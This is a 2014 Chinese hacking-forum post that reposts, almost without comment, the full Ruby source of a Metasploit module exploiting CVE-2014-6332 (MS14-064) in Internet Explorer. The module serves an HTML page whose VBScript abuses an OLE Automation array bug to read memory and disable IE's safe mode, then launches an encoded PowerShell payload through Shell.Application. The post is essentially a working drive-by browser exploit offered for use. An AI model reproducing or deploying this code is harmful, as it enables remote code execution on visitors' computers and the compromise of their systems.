搜索
查看: 208|回复: 0

Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF)

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-11-19 20:59:06 | 显示全部楼层 |阅读模式
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##

  5. require 'msf/core'
  6. require 'msf/core/exploit/powershell'

  7. class Metasploit3 < Msf::Exploit::Remote
  8.   Rank = ExcellentRanking

  9.   include Msf::Exploit::Remote::HttpServer::HTML
  10.   include Msf::Exploit::Powershell

  11.   def initialize(info={})
  12.     super(update_info(info,
  13.       'Name'           => "Windows OLE Automation Array Remote Code Execution",
  14.       'Description'    => %q{
  15.           This modules exploits the Windows OLE Automation Array Remote Code Execution Vulnerability.
  16.           Internet MS-14-064, CVE-2014-6332. The vulnerability exists in Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.  
  17.       },
  18.       'License'        => MSF_LICENSE,
  19.       'Author'         =>
  20.         [
  21.           'IBM', # Discovery
  22.       'yuange <twitter.com/yuange75>', # PoC
  23.       'Rik van Duijn <twitter.com/rikvduijn>', #Metasploit
  24.           'Wesley Neelen <security[at]forsec.nl>'  #Metasploit
  25.         ],
  26.       'References'     =>
  27.         [
  28.           [ 'CVE', '2014-6332' ]
  29.         ],
  30.       'Payload'        =>
  31.         {
  32.           'BadChars'        => "\x00",
  33.         },
  34.       'DefaultOptions'  =>
  35.         {
  36.           'EXITFUNC'         => "none"
  37.         },
  38.       'Platform'       => 'win',
  39.       'Targets'        =>  
  40.         [
  41.           [ 'Automatic', {} ]
  42.         ],
  43.       'Privileged'     => false,
  44.       'DisclosureDate' => "November 12 2014",
  45.       'DefaultTarget'  => 0))
  46.   end

  47.   def on_request_uri(cli, request)
  48.     payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true })
  49.     payl.slice! "powershell.exe "
  50.      
  51.     html = <<-EOS
  52. <!doctype html>

  53. <html>

  54. <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >

  55. <head>

  56. </head>

  57. <body>


  58. <SCRIPT LANGUAGE="VBScript">


  59. function trigger()

  60. On Error Resume Next

  61. set shell=createobject("Shell.Application")

  62. shell.ShellExecute "powershell.exe", "#{payl}", "", "open", 1

  63. end function


  64. </script>


  65. <SCRIPT LANGUAGE="VBScript">

  66.   

  67. dim   aa()

  68. dim   ab()

  69. dim   a0

  70. dim   a1

  71. dim   a2

  72. dim   a3

  73. dim   win9x

  74. dim   intVersion

  75. dim   rnda

  76. dim   funclass

  77. dim   myarray


  78. Begin()


  79. function Begin()

  80.   On Error Resume Next

  81.   info=Navigator.UserAgent


  82.   if(instr(info,"Win64")>0)   then

  83.      exit   function

  84.   end if


  85.   if (instr(info,"MSIE")>0)   then

  86.              intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))   

  87.   else

  88.      exit   function  

  89.               

  90.   end if


  91.   win9x=0


  92.   BeginInit()

  93.   If Create()=True Then

  94.      myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)

  95.      myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)


  96.      if(intVersion<4) then

  97.          document.write("<br> IE")

  98.          document.write(intVersion)

  99.          runshellcode()                    

  100.      else

  101.           setnotsafemode()

  102.      end if

  103.   end if

  104. end function


  105. function BeginInit()

  106.    Randomize()

  107.    redim aa(5)

  108.    redim ab(5)

  109.    a0=13+17*rnd(6)

  110.    a3=7+3*rnd(5)

  111. end function


  112. function Create()

  113.   On Error Resume Next

  114.   dim i

  115.   Create=False

  116.   For i = 0 To 400

  117.     If Over()=True Then

  118.     '   document.write(i)     

  119.        Create=True

  120.        Exit For

  121.     End If

  122.   Next

  123. end function


  124. sub testaa()

  125. end sub


  126. function mydata()

  127.     On Error Resume Next

  128.      i=testaa

  129.      i=null

  130.      redim  Preserve aa(a2)  

  131.    

  132.      ab(0)=0

  133.      aa(a1)=i

  134.      ab(0)=6.36598737437801E-314


  135.      aa(a1+2)=myarray

  136.      ab(2)=1.74088534731324E-310

  137.      mydata=aa(a1)

  138.      redim  Preserve aa(a0)  

  139. end function



  140. function setnotsafemode()

  141.     On Error Resume Next

  142.     i=mydata()  

  143.     i=readmemo(i+8)

  144.     i=readmemo(i+16)

  145.     j=readmemo(i+&h134)  

  146.     for k=0 to &h60 step 4

  147.         j=readmemo(i+&h120+k)

  148.         if(j=14) then

  149.               j=0         

  150.               redim  Preserve aa(a2)            

  151.      aa(a1+2)(i+&h11c+k)=ab(4)

  152.               redim  Preserve aa(a0)  


  153.      j=0

  154.               j=readmemo(i+&h120+k)   

  155.          

  156.                Exit for

  157.            end if


  158.     next

  159.     ab(2)=1.69759663316747E-313

  160.     trigger()

  161. end function


  162. function Over()

  163.     On Error Resume Next

  164.     dim type1,type2,type3

  165.     Over=False

  166.     a0=a0+a3

  167.     a1=a0+2

  168.     a2=a0+&h8000000

  169.    

  170.     redim  Preserve aa(a0)

  171.     redim   ab(a0)     

  172.    

  173.     redim  Preserve aa(a2)

  174.    

  175.     type1=1

  176.     ab(0)=1.123456789012345678901234567890

  177.     aa(a0)=10

  178.            

  179.     If(IsObject(aa(a1-1)) = False) Then

  180.        if(intVersion<4) then

  181.            mem=cint(a0+1)*16            

  182.            j=vartype(aa(a1-1))

  183.            if((j=mem+4) or (j*8=mem+8)) then

  184.               if(vartype(aa(a1-1))<>0)  Then   

  185.                  If(IsObject(aa(a1)) = False ) Then            

  186.                    type1=VarType(aa(a1))

  187.                  end if              

  188.               end if

  189.            else

  190.              redim  Preserve aa(a0)

  191.              exit  function


  192.            end if

  193.         else

  194.            if(vartype(aa(a1-1))<>0)  Then   

  195.               If(IsObject(aa(a1)) = False ) Then

  196.                   type1=VarType(aa(a1))

  197.               end if              

  198.             end if

  199.         end if

  200.     end if

  201.                

  202.      

  203.     If(type1=&h2f66) Then         

  204.           Over=True      

  205.     End If  

  206.     If(type1=&hB9AD) Then

  207.           Over=True

  208.           win9x=1

  209.     End If  


  210.     redim  Preserve aa(a0)         

  211.          

  212. end function


  213. function ReadMemo(add)

  214.     On Error Resume Next

  215.     redim  Preserve aa(a2)  

  216.    

  217.     ab(0)=0  

  218.     aa(a1)=add+4   

  219.     ab(0)=1.69759663316747E-313      

  220.     ReadMemo=lenb(aa(a1))  

  221.    

  222.     ab(0)=0   

  223.   

  224.     redim  Preserve aa(a0)

  225. end function


  226. </script>


  227. </body>

  228. </html>
  229.     EOS

  230.     print_status("Sending html")
  231.     send_response(cli, html, {'Content-Type'=>'text/html'})

  232.   end

  233. end
复制代码
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表